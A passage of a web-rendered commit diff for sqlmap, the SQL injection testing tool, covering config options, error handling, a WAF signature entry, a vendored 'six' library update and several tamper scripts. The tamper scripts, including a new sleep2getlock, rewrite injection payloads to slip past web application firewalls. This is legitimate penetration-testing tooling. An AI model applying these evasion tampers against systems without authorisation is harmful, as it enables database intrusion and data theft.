whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")"
|
if conf.exclude:
|
||||||
infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in _))
|
tbls = [_ for _ in tbls if re.search(conf.exclude, _, re.I) is None]
|
||||||
|
whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in tbls) + ")"
|
||||||
|
infoMsgTbl = " for table%s '%s'" % ("s" if len(tbls) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(tbl) for tbl in tbls))
|
||||||
|
|
||||||
if conf.db == CURRENT_DB:
|
if conf.db == CURRENT_DB:
|
||||||
conf.db = self.getCurrentDb()
|
conf.db = self.getCurrentDb()
|
||||||
|
|||||||
@@ -617,6 +617,7 @@ class Users(object):
|
|||||||
|
|
||||||
# In Informix we get one letter for the highest privilege
|
# In Informix we get one letter for the highest privilege
|
||||||
elif Backend.isDbms(DBMS.INFORMIX):
|
elif Backend.isDbms(DBMS.INFORMIX):
|
||||||
|
if privilege.strip() in INFORMIX_PRIVS:
|
||||||
privileges.add(INFORMIX_PRIVS[privilege.strip()])
|
privileges.add(INFORMIX_PRIVS[privilege.strip()])
|
||||||
|
|
||||||
# In DB2 we get Y or G if the privilege is
|
# In DB2 we get Y or G if the privilege is
|
||||||
|
|||||||
@@ -51,6 +51,9 @@ cookie =
|
|||||||
# Character used for splitting cookie values (e.g. ;).
|
# Character used for splitting cookie values (e.g. ;).
|
||||||
cookieDel =
|
cookieDel =
|
||||||
|
|
||||||
|
# Live cookies file used for loading up-to-date values.
|
||||||
|
liveCookies =
|
||||||
|
|
||||||
# File containing cookies in Netscape/wget format.
|
# File containing cookies in Netscape/wget format.
|
||||||
loadCookies =
|
loadCookies =
|
||||||
|
|
||||||
@@ -769,9 +772,12 @@ outputDir =
|
|||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
parseErrors = False
|
parseErrors = False
|
||||||
|
|
||||||
# Use given script(s) for preprocessing of response data.
|
# Use given script(s) for preprocessing of request.
|
||||||
preprocess =
|
preprocess =
|
||||||
|
|
||||||
|
# Use given script(s) for postprocessing of response data.
|
||||||
|
postprocess =
|
||||||
|
|
||||||
# Redump entries having unknown character marker (?).
|
# Redump entries having unknown character marker (?).
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
repair = False
|
repair = False
|
||||||
|
|||||||
@@ -317,7 +317,7 @@ def main():
|
|||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp")):
|
elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")):
|
||||||
errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir()
|
errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir()
|
||||||
errMsg += "Please make sure that your disk is not full and "
|
errMsg += "Please make sure that your disk is not full and "
|
||||||
errMsg += "that you have sufficient write permissions to "
|
errMsg += "that you have sufficient write permissions to "
|
||||||
@@ -428,6 +428,12 @@ def main():
|
|||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
|
elif all(_ in excMsg for _ in ("HTTPNtlmAuthHandler", "'str' object has no attribute 'decode'")):
|
||||||
|
errMsg = "package 'python-ntlm' has a known compatibility issue with the "
|
||||||
|
errMsg += "Python 3 (Reference: https://github.com/mullender/python-ntlm/pull/61)"
|
||||||
|
logger.critical(errMsg)
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")):
|
elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")):
|
||||||
errMsg = "there has been a problem in enumeration. "
|
errMsg = "there has been a problem in enumeration. "
|
||||||
errMsg += "Because of a considerable chance of false-positive case "
|
errMsg += "Because of a considerable chance of false-positive case "
|
||||||
|
|||||||
@@ -29,4 +29,4 @@ def tamper(payload, **kwargs):
|
|||||||
'1e0UNION ALL SELECT'
|
'1e0UNION ALL SELECT'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return re.sub("(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload, re.I) if payload else payload
|
return re.sub(r"(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload, re.I) if payload else payload
|
||||||
|
|||||||
@@ -31,4 +31,4 @@ def tamper(payload, **kwargs):
|
|||||||
'1DUNION ALL SELECT'
|
'1DUNION ALL SELECT'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return re.sub("(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload, re.I) if payload else payload
|
return re.sub(r"(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload, re.I) if payload else payload
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import singleTimeWarnMessage
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
|||||||
@@ -33,4 +33,4 @@ def tamper(payload, **kwargs):
|
|||||||
'1"-.1UNION ALL SELECT'
|
'1"-.1UNION ALL SELECT'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return re.sub("\s+(UNION )", r"-.1\g<1>", payload, re.I) if payload else payload
|
return re.sub(r"\s+(UNION )", r"-.1\g<1>", payload, re.I) if payload else payload
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ def dependencies():
|
|||||||
|
|
||||||
def tamper(payload, **kwargs):
|
def tamper(payload, **kwargs):
|
||||||
"""
|
"""
|
||||||
Replaces instances of <int> UNION with <int>e0UNION
|
Splits FROM schema identifiers (e.g. 'testdb.users') with whitespace (e.g. 'testdb 9.e.users')
|
||||||
|
|
||||||
Requirement:
|
Requirement:
|
||||||
* MySQL
|
* MySQL
|
||||||
@@ -28,4 +28,4 @@ def tamper(payload, **kwargs):
|
|||||||
'SELECT id FROM testdb 9.e.users'
|
'SELECT id FROM testdb 9.e.users'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return re.sub("( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload, re.I) if payload else payload
|
return re.sub(r"( FROM \w+)\.(\w+)", r"\g<1> 9.e.\g<2>", payload, re.I) if payload else payload
|
||||||
|
|||||||
39
tamper/sleep2getlock.py
Normal file
39
tamper/sleep2getlock.py
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
|
See the file 'LICENSE' for copying permission
|
||||||
|
"""
|
||||||
|
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
|
def dependencies():
|
||||||
|
pass
|
||||||
|
|
||||||
|
def tamper(payload, **kwargs):
|
||||||
|
"""
|
||||||
|
Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)"
|
||||||
|
|
||||||
|
Requirement:
|
||||||
|
* MySQL
|
||||||
|
|
||||||
|
Tested against:
|
||||||
|
* MySQL 5.0 and 5.5
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
* Useful to bypass very weak and bespoke web application firewalls
|
||||||
|
that filter the SLEEP() and BENCHMARK() functions
|
||||||
|
|
||||||
|
* Reference: https://zhuanlan.zhihu.com/p/35245598
|
||||||
|
|
||||||
|
>>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName
|
||||||
|
True
|
||||||
|
"""
|
||||||
|
|
||||||
|
if payload:
|
||||||
|
payload = payload.replace("SLEEP(", "GET_LOCK('%s'," % kb.aliasName)
|
||||||
|
|
||||||
|
return payload
|
||||||
6
thirdparty/identywaf/data.json
vendored
Executable file → Normal file
6
thirdparty/identywaf/data.json
vendored
Executable file → Normal file
@@ -335,6 +335,12 @@
|
|||||||
"c669:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOnthsOj+hX7AB16FcPhJPdLsXomtKaK59nui7c4RmkwI2FZjxtDtAeq+c3qA5chW1XaTC"
|
"c669:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOnthsOj+hX7AB16FcPhJPdLsXomtKaK59nui7c4RmkwI2FZjxtDtAeq+c3qA5chW1XaTC"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
|
"gtmc": {
|
||||||
|
"company": "GTMC",
|
||||||
|
"name": "GTMC WAF",
|
||||||
|
"regex": "GTMC WAF1 Protection:|Please consult with administrator or waf@nm.gtmc.com.tw",
|
||||||
|
"signatures": []
|
||||||
|
},
|
||||||
"imunify360": {
|
"imunify360": {
|
||||||
"company": "CloudLinux",
|
"company": "CloudLinux",
|
||||||
"name": "Imunify360",
|
"name": "Imunify360",
|
||||||
|
|||||||
2
thirdparty/identywaf/identYwaf.py
vendored
2
thirdparty/identywaf/identYwaf.py
vendored
@@ -60,7 +60,7 @@ else:
|
|||||||
HTTPCookieProcessor = urllib2.HTTPCookieProcessor
|
HTTPCookieProcessor = urllib2.HTTPCookieProcessor
|
||||||
|
|
||||||
NAME = "identYwaf"
|
NAME = "identYwaf"
|
||||||
VERSION = "1.0.127"
|
VERSION = "1.0.129"
|
||||||
BANNER = r"""
|
BANNER = r"""
|
||||||
` __ __ `
|
` __ __ `
|
||||||
____ ___ ___ ____ ______ `| T T` __ __ ____ _____
|
____ ___ ___ ____ ______ `| T T` __ __ ____ _____
|
||||||
|
|||||||
86
thirdparty/six/__init__.py
vendored
86
thirdparty/six/__init__.py
vendored
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2010-2018 Benjamin Peterson
|
# Copyright (c) 2010-2020 Benjamin Peterson
|
||||||
#
|
#
|
||||||
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
# Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
# of this software and associated documentation files (the "Software"), to deal
|
# of this software and associated documentation files (the "Software"), to deal
|
||||||
@@ -29,7 +29,7 @@ import sys
|
|||||||
import types
|
import types
|
||||||
|
|
||||||
__author__ = "Benjamin Peterson <benjamin@python.org>"
|
__author__ = "Benjamin Peterson <benjamin@python.org>"
|
||||||
__version__ = "1.12.0"
|
__version__ = "1.15.0"
|
||||||
|
|
||||||
|
|
||||||
# Useful for very coarse version differentiation.
|
# Useful for very coarse version differentiation.
|
||||||
@@ -255,9 +255,11 @@ _moved_attributes = [
|
|||||||
MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"),
|
MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"),
|
||||||
MovedModule("builtins", "__builtin__"),
|
MovedModule("builtins", "__builtin__"),
|
||||||
MovedModule("configparser", "ConfigParser"),
|
MovedModule("configparser", "ConfigParser"),
|
||||||
|
MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"),
|
||||||
MovedModule("copyreg", "copy_reg"),
|
MovedModule("copyreg", "copy_reg"),
|
||||||
MovedModule("dbm_gnu", "gdbm", "dbm.gnu"),
|
MovedModule("dbm_gnu", "gdbm", "dbm.gnu"),
|
||||||
MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"),
|
MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"),
|
||||||
|
MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"),
|
||||||
MovedModule("http_cookiejar", "cookielib", "http.cookiejar"),
|
MovedModule("http_cookiejar", "cookielib", "http.cookiejar"),
|
||||||
MovedModule("http_cookies", "Cookie", "http.cookies"),
|
MovedModule("http_cookies", "Cookie", "http.cookies"),
|
||||||
MovedModule("html_entities", "htmlentitydefs", "html.entities"),
|
MovedModule("html_entities", "htmlentitydefs", "html.entities"),
|
||||||
@@ -637,13 +639,16 @@ if PY3:
|
|||||||
import io
|
import io
|
||||||
StringIO = io.StringIO
|
StringIO = io.StringIO
|
||||||
BytesIO = io.BytesIO
|
BytesIO = io.BytesIO
|
||||||
|
del io
|
||||||
_assertCountEqual = "assertCountEqual"
|
_assertCountEqual = "assertCountEqual"
|
||||||
if sys.version_info[1] <= 1:
|
if sys.version_info[1] <= 1:
|
||||||
_assertRaisesRegex = "assertRaisesRegexp"
|
_assertRaisesRegex = "assertRaisesRegexp"
|
||||||
_assertRegex = "assertRegexpMatches"
|
_assertRegex = "assertRegexpMatches"
|
||||||
|
_assertNotRegex = "assertNotRegexpMatches"
|
||||||
else:
|
else:
|
||||||
_assertRaisesRegex = "assertRaisesRegex"
|
_assertRaisesRegex = "assertRaisesRegex"
|
||||||
_assertRegex = "assertRegex"
|
_assertRegex = "assertRegex"
|
||||||
|
_assertNotRegex = "assertNotRegex"
|
||||||
else:
|
else:
|
||||||
def b(s):
|
def b(s):
|
||||||
return s
|
return s
|
||||||
@@ -665,6 +670,7 @@ else:
|
|||||||
_assertCountEqual = "assertItemsEqual"
|
_assertCountEqual = "assertItemsEqual"
|
||||||
_assertRaisesRegex = "assertRaisesRegexp"
|
_assertRaisesRegex = "assertRaisesRegexp"
|
||||||
_assertRegex = "assertRegexpMatches"
|
_assertRegex = "assertRegexpMatches"
|
||||||
|
_assertNotRegex = "assertNotRegexpMatches"
|
||||||
_add_doc(b, """Byte literal""")
|
_add_doc(b, """Byte literal""")
|
||||||
_add_doc(u, """Text literal""")
|
_add_doc(u, """Text literal""")
|
||||||
|
|
||||||
@@ -681,6 +687,10 @@ def assertRegex(self, *args, **kwargs):
|
|||||||
return getattr(self, _assertRegex)(*args, **kwargs)
|
return getattr(self, _assertRegex)(*args, **kwargs)
|
||||||
|
|
||||||
|
|
||||||
|
def assertNotRegex(self, *args, **kwargs):
|
||||||
|
return getattr(self, _assertNotRegex)(*args, **kwargs)
|
||||||
|
|
||||||
|
|
||||||
if PY3:
|
if PY3:
|
||||||
exec_ = getattr(moves.builtins, "exec")
|
exec_ = getattr(moves.builtins, "exec")
|
||||||
|
|
||||||
@@ -716,16 +726,7 @@ else:
|
|||||||
""")
|
""")
|
||||||
|
|
||||||
|
|
||||||
if sys.version_info[:2] == (3, 2):
|
if sys.version_info[:2] > (3,):
|
||||||
exec_("""def raise_from(value, from_value):
|
|
||||||
try:
|
|
||||||
if from_value is None:
|
|
||||||
raise value
|
|
||||||
raise value from from_value
|
|
||||||
finally:
|
|
||||||
value = None
|
|
||||||
""")
|
|
||||||
elif sys.version_info[:2] > (3, 2):
|
|
||||||
exec_("""def raise_from(value, from_value):
|
exec_("""def raise_from(value, from_value):
|
||||||
try:
|
try:
|
||||||
raise value from from_value
|
raise value from from_value
|
||||||
@@ -805,13 +806,33 @@ if sys.version_info[:2] < (3, 3):
|
|||||||
_add_doc(reraise, """Reraise an exception.""")
|
_add_doc(reraise, """Reraise an exception.""")
|
||||||
|
|
||||||
if sys.version_info[0:2] < (3, 4):
|
if sys.version_info[0:2] < (3, 4):
|
||||||
|
# This does exactly the same what the :func:`py3:functools.update_wrapper`
|
||||||
|
# function does on Python versions after 3.2. It sets the ``__wrapped__``
|
||||||
|
# attribute on ``wrapper`` object and it doesn't raise an error if any of
|
||||||
|
# the attributes mentioned in ``assigned`` and ``updated`` are missing on
|
||||||
|
# ``wrapped`` object.
|
||||||
|
def _update_wrapper(wrapper, wrapped,
|
||||||
|
assigned=functools.WRAPPER_ASSIGNMENTS,
|
||||||
|
updated=functools.WRAPPER_UPDATES):
|
||||||
|
for attr in assigned:
|
||||||
|
try:
|
||||||
|
value = getattr(wrapped, attr)
|
||||||
|
except AttributeError:
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
setattr(wrapper, attr, value)
|
||||||
|
for attr in updated:
|
||||||
|
getattr(wrapper, attr).update(getattr(wrapped, attr, {}))
|
||||||
|
wrapper.__wrapped__ = wrapped
|
||||||
|
return wrapper
|
||||||
|
_update_wrapper.__doc__ = functools.update_wrapper.__doc__
|
||||||
|
|
||||||
def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS,
|
def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS,
|
||||||
updated=functools.WRAPPER_UPDATES):
|
updated=functools.WRAPPER_UPDATES):
|
||||||
def wrapper(f):
|
return functools.partial(_update_wrapper, wrapped=wrapped,
|
||||||
f = functools.wraps(wrapped, assigned, updated)(f)
|
assigned=assigned, updated=updated)
|
||||||
f.__wrapped__ = wrapped
|
wraps.__doc__ = functools.wraps.__doc__
|
||||||
return f
|
|
||||||
return wrapper
|
|
||||||
else:
|
else:
|
||||||
wraps = functools.wraps
|
wraps = functools.wraps
|
||||||
|
|
||||||
@@ -824,7 +845,15 @@ def with_metaclass(meta, *bases):
|
|||||||
class metaclass(type):
|
class metaclass(type):
|
||||||
|
|
||||||
def __new__(cls, name, this_bases, d):
|
def __new__(cls, name, this_bases, d):
|
||||||
return meta(name, bases, d)
|
if sys.version_info[:2] >= (3, 7):
|
||||||
|
# This version introduced PEP 560 that requires a bit
|
||||||
|
# of extra care (we mimic what is done by __build_class__).
|
||||||
|
resolved_bases = types.resolve_bases(bases)
|
||||||
|
if resolved_bases is not bases:
|
||||||
|
d['__orig_bases__'] = bases
|
||||||
|
else:
|
||||||
|
resolved_bases = bases
|
||||||
|
return meta(name, resolved_bases, d)
|
||||||
|
|
||||||
@classmethod
|
@classmethod
|
||||||
def __prepare__(cls, name, this_bases):
|
def __prepare__(cls, name, this_bases):
|
||||||
@@ -861,11 +890,10 @@ def ensure_binary(s, encoding='utf-8', errors='strict'):
|
|||||||
- `str` -> encoded to `bytes`
|
- `str` -> encoded to `bytes`
|
||||||
- `bytes` -> `bytes`
|
- `bytes` -> `bytes`
|
||||||
"""
|
"""
|
||||||
|
if isinstance(s, binary_type):
|
||||||
|
return s
|
||||||
if isinstance(s, text_type):
|
if isinstance(s, text_type):
|
||||||
return s.encode(encoding, errors)
|
return s.encode(encoding, errors)
|
||||||
elif isinstance(s, binary_type):
|
|
||||||
return s
|
|
||||||
else:
|
|
||||||
raise TypeError("not expecting type '%s'" % type(s))
|
raise TypeError("not expecting type '%s'" % type(s))
|
||||||
|
|
||||||
|
|
||||||
@@ -880,12 +908,15 @@ def ensure_str(s, encoding='utf-8', errors='strict'):
|
|||||||
- `str` -> `str`
|
- `str` -> `str`
|
||||||
- `bytes` -> decoded to `str`
|
- `bytes` -> decoded to `str`
|
||||||
"""
|
"""
|
||||||
if not isinstance(s, (text_type, binary_type)):
|
# Optimization: Fast return for the common case.
|
||||||
raise TypeError("not expecting type '%s'" % type(s))
|
if type(s) is str:
|
||||||
|
return s
|
||||||
if PY2 and isinstance(s, text_type):
|
if PY2 and isinstance(s, text_type):
|
||||||
s = s.encode(encoding, errors)
|
return s.encode(encoding, errors)
|
||||||
elif PY3 and isinstance(s, binary_type):
|
elif PY3 and isinstance(s, binary_type):
|
||||||
s = s.decode(encoding, errors)
|
return s.decode(encoding, errors)
|
||||||
|
elif not isinstance(s, (text_type, binary_type)):
|
||||||
|
raise TypeError("not expecting type '%s'" % type(s))
|
||||||
return s
|
return s
|
||||||
|
|
||||||
|
|
||||||
@@ -908,10 +939,9 @@ def ensure_text(s, encoding='utf-8', errors='strict'):
|
|||||||
raise TypeError("not expecting type '%s'" % type(s))
|
raise TypeError("not expecting type '%s'" % type(s))
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def python_2_unicode_compatible(klass):
|
def python_2_unicode_compatible(klass):
|
||||||
"""
|
"""
|
||||||
A decorator that defines __unicode__ and __str__ methods under Python 2.
|
A class decorator that defines __unicode__ and __str__ methods under Python 2.
|
||||||
Under Python 3 it does nothing.
|
Under Python 3 it does nothing.
|
||||||
|
|
||||||
To support Python 2 and 3 with a single code base, define a __str__ method
|
To support Python 2 and 3 with a single code base, define a __str__ method
|
||||||
|
|||||||
Reference in New Issue
Block a user